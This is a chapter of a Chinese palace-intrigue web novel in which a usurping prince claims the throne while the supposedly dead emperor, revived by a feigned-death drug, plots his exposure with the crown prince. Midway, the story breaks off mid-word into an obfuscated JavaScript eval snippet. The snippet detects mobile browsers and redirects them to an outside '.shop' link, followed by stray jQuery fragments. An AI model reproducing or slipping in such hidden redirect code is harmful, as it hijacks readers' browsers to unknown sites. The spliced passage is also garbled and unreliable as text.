街道上张灯结彩,挂满了红色的丝带。
到处是欢喜的景象。
前日。
裴凌川已经昭告天下,先皇已死,并由他继承皇位,成为大尹朝的新皇。
消息一出,引起举国上下的轰动。
不过此次与前朝都有所不同,因为前朝皇帝交替、将死之际都由召集朝中重臣进行嘱托。
不过这次,朝中无一人被召入宫中。
朝臣相互打听,竟也无一人见到老皇帝的遗体。
这可是前所未有。
两日之前,裴凌川宣布:
将在七日后举行新皇登基仪式,大赦天下,邀请天下能人雅士来到京城,共同分享这份荣光。
身处永安县的林晓得到了这个消息,且由于永安县治洪有功。
在上级的推荐之下,届时将与匡安一同前往京城,共同见证这时刻。
林晓走在街上,听到这个突如其来的消息。
快步走进匡安的书房内,把门敲开便和匡安说道:
“匡安……”
还没说出口,就已经被面前的人打断。
“新皇登基是吧?”
眼前的匡安抬起头来,脸上是了然的表情,眉毛向下垂去,眼神中满是对未来的担忧。
“是……你怎么知道的?”
前些日子,丞相曾经给自己写信说起,近日朝中震荡,可能会有大颠覆。
可是这还仅仅过去了两日,就已然发生此等轰动大事。
没想到,事情这么快就发生了。
刚刚把这话说出口,林晓就意识到这个问题简直是白痴才问的出来的。
现在整个街道上,所有百姓们都在讨论这个问题。
这个四皇子一言不合,就直接登上了皇上之位。
之前也没有传出来这个皇上特别喜欢四皇子啊,这到底是怎么回事?
不是这件事情,也不可能会是其他事情了。
看着面前匡安对自己问出这个愚蠢的问题有些感觉无语的表情,林晓自觉地闭上了自己的嘴巴。
熟练地坐在一旁的茶桌前,给自己倒了一杯水。
头向上仰起,将整杯水给灌进了嘴里。
“我也不太相信皇上会把这个位置传给四皇子,四皇子做事不择手段,奸佞残忍,实在不是帝王的最佳选择。”
“我宁愿相信太子会是八皇子,至少……”
“八皇子做事循规蹈矩,不求出色但求能安稳度过。”
林晓将手中的杯子攥紧,思索着这入京的这一仗该如何开展。
不知京城里的裴堰如何了?
这皇家秘辛,曾有一假死药,服药三天内,呼吸暂停,身体冰冷。
但在五天之后,身体渐渐回暖,呼吸也渐渐恢复正常,七天后,人能正常苏醒过来。
郊外森林里的茅草屋内。
室内仅有的一盏蜡烛提供着屋内微弱的烛光,将窗前的老皇帝的脸照得明亮。
已经过去二日了,手渐渐回暖,心脏处的呼吸也逐渐平稳。
但是足足两日的时间,茅屋内的他们日夜看守,床前的人的眼睛仍未睁开。
一瞬。
烛光灭了。
“诶,这蜡烛怎么灭了?”
一旁的裴堰心中有些疑惑,心中生出一些谜团来。
拿起一旁的火烛,重新点燃面前的蜡烛。
老皇帝的眼睛随着微弱的烛光闪闪,眼皮也扑闪着挣扎着,渐渐睁开眼睛来。
放在两侧的手也发出颤抖,中指抖动着,想要抓住床单。
口中还不断发出“咿呀咿呀”的声音。
但是由于太久没有张口发言,发出的声音还是有些模糊听不大清楚。
裴堰赶忙走进,跪倒在老皇帝的旁边,右手牢牢抓住他的手指。口中激动地喊道:
“你怎么样了……”
有些尴尬有些犹豫,但最终喊出了那句称呼:
“父皇……”
眼前的老皇帝听到这声称呼,泪水不禁从满是皱纹的脸上流了下来。
径直流入脖子深处。
无言。
裴堰将老皇帝扶了起来,赶忙拍了拍愣住了的站在一旁的师父们:
“师父,快拿来纸笔!”
纸笔被拿到了老皇帝的跟前。
纸上写下了老皇帝有些虚浮的字迹:
老四……谋反。
裴堰摩挲着纸上的字迹,又看向皇帝脸上浓厚沉沉的伤心,从内里慢慢蔓延开来。
裴堰的嘴唇颤抖,终于还是决定将最近京城发生的事情告诉面前之人。
裴堰跪倒在老皇帝的面前,面容扭曲着,有些犹豫又惭愧地说出:
“父皇,四皇子裴凌川就在昨日已经宣布您已死,且在遗旨中将皇位传给他,并将在五日后大赦天下,邀请全国能人雅士前往京城参加新皇登基仪式。”
“父皇,目前朝中局势不稳,朝中大臣们都对突如其来的新皇登基的消息疑虑重重,质疑声不断。”
皇帝在纸上继续写下:
五日后,必揭开那奸人真相,送他入狱。
裴堰看着眼前的皇帝,重重地点了点头。
“太子,你对接下来的几天有什么打算?”
太傅走到裴堰的旁边,两人一同看向森林中的树叶随风飘荡的景象。
树叶随着风而四处飘散,他迎着这微风吹拂过自己的脸庞。
眼睛虽一同看向前方,却并没有聚焦,眼神有些迷离。
更像是在想些什么。
裴堰的牙齿死死地咬住,发出牙齿间摩擦的声音。
自然垂下的两侧的手臂,双手拽住了自己的衣袖。
终于。
他转身看向一旁的太傅,声音中带着坚定,说道:
“自然是让那裴凌川先自乱阵脚。”
太傅的脸上出现一丝的疑惑,但是抬头一看,看到裴堰脸上的笃定了然,瞬间心中的大石头就放了下去。
他相信面前的太子,会将一切困难都解决,将最终的结果尘埃落定。
看到了面前的太子,他不禁想起了许多年前的他。
月光渐渐挥洒了下来,夜渐渐深了。一轮弯月就那般挂在天空中。
宫内,只能听到宫内侍卫巡逻走动而发出的脚步声,以及小鸟那不休的叫声。
突然,墙角的角落里,突然轻盈地跳了下来一个纤瘦的黑色身影。
那人全身穿着黑色的夜行衣,脸上也包着一块黑布遮住了自己的五
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778940|206586||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
官。
仅仅只是露出一双眼睛,那眸子亮亮的,散发着明亮的光芒。
距离新皇的登基仪式还有五天的时间,裴凌川早早就搬到了皇帝的书房内进行处理公务。
然而近几日呈上来的奏折,都是对此次新皇的登基仪式表示质疑的,还非要他拿出一个证据来。
还说这次新旧皇帝交接的时候并没有朝中重臣的见证,本就是不符合历朝历代规矩的。
窗户内,裴凌川将桌子上的奏折一本本烧掉,脸上满是对这些臣子的蔑视。
对着空无一人的书房,以及燃烧着的烛火,自言自语道:
“这些臣子懂什么,只有我才能决定他们的命运,乖乖听着就是了,何必来跟我争个是非对错呢?”
说着话,脸上的轻蔑越来越显露出来,“你们的命都掌握在我的手里,昔日的我被你们狠狠踩在脚底下,可是如今形势变了,我有的是办法对付你们。”
“若是爱和我作对的那些人,杀了便是。”
眼神中露出狠戾,与寻常日子里所看到的温和面带笑容的裴凌川截然不同。
瞬间。
窗外一阵风吹来。
屋内烛火全部被熄灭。
“谁!是谁在搞鬼!”
屋内的裴凌川惊慌失色,从位置上慌忙地站起来。
窗户上引出一个黑色的影子。
沉闷熟悉的声音在他的周身响起,循环围绕着。
令他想从中逃脱都毫无办法。
“凌川,你是个优秀的孩子,我本对你寄予厚望,你做事杀伐果断,对一切事情都看法都很有远见。”
“我本对你……很看好,我一直觉得你是一个优秀的孩子。”
窗户上引出一张脸,一张熟悉的脸。
黑粗的眉毛,瘦削的脸,挺拔的鼻子,脸上线条清晰。
是自己明明亲手杀掉的老皇帝。
不可能,这怎么可能呢?
他明明是自己亲手杀掉的。
当天,他亲手将刀插入了皇帝的胸口,那血一直流,一直流,整张床上都是皇帝的血。
一直蔓延到床下。
满屋都是骇人的血腥味。
“你……你是谁,你究竟是谁,我告诉你,我是吓大的,我根本不会怕你的,你到底是谁谁,是谁啊在搞鬼!”
“我跟你说,我根本不会怕你的,看到我手上的刀吗,你就不信我会把你碎尸万段!”
裴凌川猛地将刀从上砸了下来,砍到了窗户上,窗后的身影却没有消失。
依然清晰地映照在窗户上,是熟悉的身形。
熟悉的语调,熟悉的声音,熟悉的脸庞继续说着他的怨,他的恨:
“凌川,你这辈子断然不会善终,会在所有人的唾弃之下名誉扫地地死去。”
仅一瞬,那身影就消失在了视线中。
屋内的烛火再次被点亮,裴凌川双手撑在桌案前。
脸上身上满是冷汗,一副还处于惊魂之中的模样。
嘴中喋喋不休地辩驳着,脸上满是不信命的狠戾:
“不可能的,我告诉你,我这一路走来,什么妖魔鬼怪都已经遇到过了,我还会怕你吗?”
“不可能的,我告诉你,绝对不可能!”